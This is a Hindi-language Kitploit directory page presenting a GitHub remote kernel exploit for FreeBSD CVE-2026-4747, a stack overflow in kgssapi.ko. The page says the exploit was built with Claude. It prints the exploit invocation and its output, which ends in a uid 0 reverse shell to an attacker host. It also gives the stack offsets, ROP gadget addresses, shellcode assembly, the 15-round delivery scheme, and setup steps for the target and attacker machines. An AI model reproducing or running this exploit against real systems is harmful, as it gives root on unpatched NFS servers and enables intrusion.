Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
उपकरण/GitHubGitHub/kaleth4/cve-2026-4747-
शोषण फ्रेमवर्कभेद्यता विश्लेषणशोषणरिवर्स इंजीनियरिंगपेलोड डेवलपमेंटबाइनरी शोषण
GitHubkaleth4/cve-2026-4747-

CVE-2026-4747-

FreeBSD CVE-2026-4747 के लिए रिमोट कर्नेल एक्सप्लॉइट, जो kgssapi.ko में स्टैक बफर ओवरफ्लो का लाभ उठाकर रिवर्स शेल के साथ RCE प्राप्त करता है। इसमें मल्टी-राउंड ROP डिलीवरी और विस्तृत सेटअप निर्देश शामिल हैं।

रिपॉजिटरी देखें
14 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-4747: FreeBSD रिमोट कर्नेल RCE

पहला रिमोट कर्नेल एक्सप्लॉइट जिसे AI द्वारा खोजा और शोषित किया गया


📋 त्वरित सारांश

पहलूविवरण
CVECVE-2026-4747
कमजोरीkgssapi.ko (RPCSEC_GSS) में स्टैक बफर ओवरफ्लो
प्रभावरिमोट कर्नेल कोड निष्पादन → uid 0 रिवर्स शेल
प्रभावितFreeBSD 13.5, 14.3, 14.4, 15.0 (बिना पैच वाले संस्करण)
खोजकर्ताNicholas Carlini, Claude (Anthropic) का उपयोग करते हुए
एडवाइज़री तिथि2026-03-26
शोषण समय~8 घंटे (Claude का 4 घंटे का वास्तविक कार्य)

🎯 समयरेखा

  • 2026-03-26: FreeBSD ने एडवाइज़री CVE-2026-4747 प्रकाशित की
  • 9:45 AM PDT 2026-03-29: Claude से एक्सप्लॉइट विकसित करने का अनुरोध किया गया
  • 5:00 PM PDT 2026-03-29: Claude ने uid 0 रिवर्स शेल के साथ कार्यशील एक्सप्लॉइट प्रदान किया

🚀 लाइव डेमो

root@kitploit:~
python3 exploit.py -t 127.0.0.1 --ip 10.0.2.2 --port 4444

आउटपुट:

root@kitploit:~
==============================================================
  CVE-2026-4747: FreeBSD RPCSEC_GSS रिमोट कर्नेल RCE
  स्टैक ओवरफ्लो → ROP → शेलकोड → uid 0 रिवर्स शेल
==============================================================

  लक्ष्य:   127.0.0.1:2049
  कॉलबैक: 10.0.2.2:4444
  SPN:      nfs/[email protected]

  शेलकोड: 432 बाइट्स (54 qwords)
  डिलीवरी:  15 राउंड (1 pmap + 14 write)

  [R1/15]  pmap_change_prot(BSS, 0x2000, RWX) ✓
  [R2/15]  write (4 qwords → 0xffffffff8198a800) ✓
  [R3/15]  write (4 qwords → 0xffffffff8198a820) ✓
  ...
  [R15/15] write + EXECUTE (2 qwords) → JUMP 0xffffffff8198a800 ✓

  [*] शेलकोड डिलीवर और निष्पादित हो रहा है
  [*] kproc_create → kern_execve('/bin/sh -c ...')
  [*] रिवर्स शेल → 10.0.2.2:4444

  [+] 127.0.0.1:41320 से कनेक्शन
  [+] शेल मिल गया!

sh: can't access tty; job control turned off
# id
uid=0(root) gid=0(wheel) groups=0(wheel)

🔍 Claude ने क्या किया?

Claude ने एक एडवाइज़री से कार्यशील रिवर्स शेल तक पहुंचने के लिए 6 अलग-अलग तकनीकी समस्याओं को हल किया:

1️⃣ लैब सेटअप

  • NFS + Kerberos के साथ FreeBSD 14.4-RELEASE VM
  • महत्वपूर्ण आवश्यकता: 2+ CPUs (एक्सप्लॉइट प्रति राउंड 1 NFS थ्रेड को मारता है, 15 राउंड चाहिए)
  • कर्नेल क्रैश डंप पढ़ने के लिए रिमोट डिबगिंग

2️⃣ मल्टी-पैकेट डिलीवरी

  • 432 बाइट्स का शेलकोड 1 पैकेट में फिट नहीं होता (XDR सीमा: 400 बाइट्स)
  • समाधान: 15 राउंड ओवरफ्लो
    • राउंड 1: pmap_change_prot() → BSS निष्पादन योग्य
    • राउंड 2-14: प्रति राउंड 32 बाइट्स शेलकोड लिखता है
    • राउंड 15: अंतिम 16 बाइट्स + शेलकोड पर कूदता है

3️⃣ थ्रेड्स की स्वच्छ समाप्ति

  • प्रत्येक ओवरफ्लो एक NFS वर्कर थ्रेड को हाईजैक करता है
  • स्वच्छ समाप्ति के लिए kthread_exit() का उपयोग करता है (बिना कर्नेल पैनिक)
  • NFS सर्वर अगले राउंड के लिए जीवित रहता है

4️⃣ ऑफसेट डिबगिंग (डी ब्रुइजन पैटर्न)

  • प्रारंभिक डिसअसेंबली ने RIP को बाइट 168 पर बताया → गलत
  • Claude ने चक्रीय डी ब्रुइजन पैटर्न भेजा
  • कर्नेल क्रैश डंप पढ़ा → वास्तविक ऑफसेट: बाइट 200
  • 32 बाइट्स का अंतर: GSS हेडर + संदर्भ प्रबंधन

5️⃣ कर्नेल → यूज़रलैंड संक्रमण

  • NFS थ्रेड्स शुद्ध कर्नेल थ्रेड्स हैं (बिना vmspace, बिना trapframe)
  • दो-चरणीय समाधान:
    • चरण 1: kproc_create() → यूज़र-मोड इंफ्रास्ट्रक्चर के साथ नया प्रोसेस
    • चरण 2: kern_execve("/bin/sh") → ELF लोड करता है, trapframe कॉन्फ़िगर करता है, P_KPROC फ्लैग साफ़ करता है
    • परिणाम: /bin/sh रिंग 3 में uid 0 के रूप में निष्पादित होता है

6️⃣ डीबग रजिस्टरों का रहस्य (DR7/DDB)

  • वर्कर वैध निर्देश पर trap 1 (डीबग अपवाद) के साथ क्रैश होता था
  • कारण: kproc_create() पैरेंट से डीबग रजिस्टर विरासत में लेता है
  • पिछले पैनिक्स ने DDB सक्रिय किया था → लगातार हार्डवेयर ब्रेकपॉइंट्स
  • फिक्स: kproc_create() से पहले DR7 साफ़ करें

🏗️ तकनीकी वास्तुकला

स्टैक लेआउट (डी ब्रुइजन के साथ सत्यापित)

root@kitploit:~
क्रेडेंशियल बॉडी बाइट → स्टैक लक्ष्य
[0..35]              → GSS हेडर (version, proc, seq, svc, handle)
[36..151]            → पैडिंग (rpchdr शेष + स्थानीय चर)
[152..199]           → सहेजे गए रजिस्टर (RBX, R12, R13, R14, R15, RBP)
[200..207]           → रिटर्न एड्रेस ← पहला ROP गैजेट
[208..399]           → ROP चेन (192 बाइट्स = 24 qwords)

ROP गैजेट्स (FreeBSD 14.4-RELEASE)

गैजेटपताउद्देश्य
pop rdi; retK+0x1adcdaArg 1 (rdi)
pop rsi; retK+0x1cdf98Arg 2 (rsi)
pop rdx; retK+0x5fa429Arg 3 (rdx)
pop rax; retK+0x400cb4लिखने के लिए मान
mov [rdi], rax; ret0xffffffff80e3457c8 बाइट्स की मनमानी लेखन

जहाँ K = 0xffffffff80200000 (कर्नेल बेस, FreeBSD 14.x में KASLR के बिना)

शेलकोड (432 बाइट्स)

चरण 1 - एंट्री (हाईजैक किया गया NFS थ्रेड):

root@kitploit:~
mov rax, 0xffffffff8198bf00    ; BSS पर स्टैक पिवोट
mov rsp, rax
xor eax, eax
mov dr7, rax                    ; हार्डवेयर ब्रेकपॉइंट्स साफ़ करें
call rbx                        ; kproc_create (RBX में प्रीलोडेड)
mov rax, kthread_exit
call rax                        ; थ्रेड को स्वच्छ रूप से समाप्त करें

चरण 2 - वर्कर (नया कर्नेल प्रोसेस):

root@kitploit:~
; kern_execve के लिए तर्क कॉन्फ़िगर करें
lea rdi, [rbp - 0x80]          ; &image_args
mov rsi, "/bin/sh"
mov edx, 1                      ; UIO_SYSSPACE
call exec_args_add_fname

; "-c" और रिवर्स शेल कमांड जोड़ें
; ...

; /bin/sh निष्पादित करें
mov rdi, gs:[0]                 ; curthread
mov rax, [rdi + 0x08]           ; proc
call kern_execve

; P_KPROC फ्लैग साफ़ करें
and byte [rax + 0xb8], 0xfb    ; यूज़रलैंड में संक्रमण की अनुमति दें
ret                             ; → fork_exit → userret → iretq → रिंग 3

🛠️ लक्ष्य कॉन्फ़िगरेशन

विकल्प A: QEMU (cloud-init के साथ स्वचालित)

root@kitploit:~
# इमेज डाउनलोड करें
wget https://download.freebsd.org/releases/VM-IMAGES/14.4-RELEASE/amd64/Latest/\
FreeBSD-14.4-RELEASE-amd64-BASIC-CLOUDINIT-ufs.qcow2.xz
xz -d FreeBSD-14.4-RELEASE-amd64-BASIC-CLOUDINIT-ufs.qcow2.xz
qemu-img resize FreeBSD-14.4-RELEASE-amd64-BASIC-CLOUDINIT-ufs.qcow2 8G

# Cloud-init कॉन्फ़िग
cat > user-data << 'EOF'
#cloud-config
chpasswd:
  list: |
    root:freebsd
  expire: False
runcmd:
  - kldload kgssapi
  - sysrc rpcbind_enable=YES nfs_server_enable=YES
  - service rpcbind start && service nfsd start
EOF

# पोर्ट फ़ॉरवर्डिंग के साथ बूट करें
qemu-system-x86_64 -enable-kvm -m 2G -smp 2 \
  -drive file=freebsd-vuln.qcow2,format=qcow2,if=virtio \
  -netdev user,id=net0,hostfwd=tcp::2222-:22,hostfwd=tcp::2049-:2049,hostfwd=tcp::8888-:88 \
  -device virtio-net-pci,netdev=net0 -nographic

विकल्प B: VMware / VirtualBox / bhyve (मैनुअल)

आवश्यकताएँ:

  • 2+ CPUs (महत्वपूर्ण: 8 NFS थ्रेड्स/CPU, एक्सप्लॉइट को 15 राउंड चाहिए)
  • 2GB RAM, 8GB डिस्क
  • FreeBSD 14.4-RELEASE

VM में सेटअप:

root@kitploit:~
# 1. Kerberos इंस्टॉल करें
pkg install -y krb5

# 2. KDC बनाएं
cat > /etc/krb5.conf << 'EOF'
[libdefaults]
    default_realm = TEST.LOCAL
[realms]
    TEST.LOCAL = {
        kdc = 127.0.0.1
        admin_server = 127.0.0.1
    }
EOF

# 3. KDC डेटाबेस इनिशियलाइज़ करें
/usr/local/sbin/kdb5_util create -s -P masterkey -r TEST.LOCAL

# 4. प्रिंसिपल्स बनाएं ("test" को अपने होस्टनाम से बदलें)
/usr/local/sbin/kadmin.local -q "addprinc -pw password [email protected]"
/usr/local/sbin/kadmin.local -q "addprinc -randkey nfs/[email protected]"
/usr/local/sbin/kadmin.local -q "ktadd -k /etc/krb5.keytab nfs/[email protected]"

# 5. KDC शुरू करें
/usr/local/sbin/krb5kdc

# 6. NFS कॉन्फ़िगर करें
mkdir -p /export
echo '/export -network 0.0.0.0/0' > /etc/exports

# 7. सेवाएं सक्षम करें
sysrc rpcbind_enable=YES nfs_server_enable=YES gssd_enable=YES
service rpcbind start && service nfsd start

# 8. सत्यापित करें
sysctl vfs.nfsd.threads        # 16 दिखाना चाहिए (2 CPUs के साथ)
sockstat -l | grep 2049        # tcp4/tcp6 दिखाना चाहिए

हमलावर होस्ट पर सेटअप (Linux)

root@kitploit:~
# 1. पैकेज इंस्टॉल करें
sudo apt install krb5-user libkrb5-dev python3-gssapi
pip install gssapi

# 2. /etc/krb5.conf कॉन्फ़िगर करें
sudo tee /etc/krb5.conf << EOF
[libdefaults]
    default_realm = TEST.LOCAL
    rdns = false                       # महत्वपूर्ण: DNS कैनोनिकलाइज़ेशन से बचाता है
    dns_canonicalize_hostname = false
[realms]
    TEST.LOCAL = {
        kdc = VM_IP:KDC_PORT           # 127.0.0.1:8888 (QEMU) या 192.168.x.x:88 (bridged)
    }
EOF

# 3. /etc/hosts में होस्टनाम जोड़ें
echo "VM_IP test" | sudo tee -a /etc/hosts

# 4. Kerberos टिकट प्राप्त करें
echo "password" | kinit [email protected]
klist

# 5. (वैकल्पिक) नए गैजेट्स खोजने के लिए ROPgadget इंस्टॉल करें
pip install ROPgadget

🎪 शोषण रणनीति

राउंड 1: BSS को निष्पादन योग्य बनाएं

root@kitploit:~
ROP चेन:
  pop rdi          → rdi = 0xffffffff8198a000 (BSS पेज)
  pop rsi          → rsi = 0x2000 (2 पेज = 8KB)
  pop rdx          → rdx = 7 (VM_PROT_ALL = RWX)
  pmap_change_prot → अनुमतियों को RWX में बदलता है
  pop rdi          → rdi = 0
  kthread_exit     → थ्रेड को स्वच्छ रूप से समाप्त करता है

राउंड 2–14: शेलकोड लिखें

प्रत्येक राउंड BSS में 32 बाइट्स (4 qwords) लिखता है:

root@kitploit:~
ROP चेन टेम्पलेट:
  pop rdi          → rdi = BSS_SC + ऑफसेट
  pop rax          → rax = shellcode_qword
  mov [rdi], rax   → 8 बाइट्स लिखता है
  (3 बार और दोहराएं)
  pop rdi          → 0
  kthread_exit     → समाप्त करता है

लागत: 40 बाइट्स ROP/8 बाइट्स लेखन → कुल 15 राउंड

राउंड 15: शेलकोड पर कूदें

root@kitploit:~
ROP चेन:
  pop rdi          → rdi = BSS_SC + 416
  pop rax          → rax = अंतिम qword
  mov [rdi], rax   → लिखता है
  (दोहराएं)
  BSS_SC           → शेलकोड पर कूदें!

🐛 हल की गई चुनौतियाँ

समस्याकारणसमाधान
गलत RIP ऑफसेटस्टैटिक डिसअसेंबली ने GSS हेडर की गिनती नहीं कीडी ब्रुइजन पैटर्न + क्रैश डंप पढ़ना
MIT/Heimdal असंगतताहोस्टनाम की DNS कैनोनिकलाइज़ेशनrdns = false + dns_canonicalize_hostname = false
वर्कर में Trap 1DDB से विरासत में मिले डीबग रजिस्टरkproc_create() से पहले DR7 साफ़ करें
शेलकोड फिट नहीं होता432 बाइट्स > 400 बाइट्स (XDR सीमा)डिलीवरी
टूल डाउनलोड करें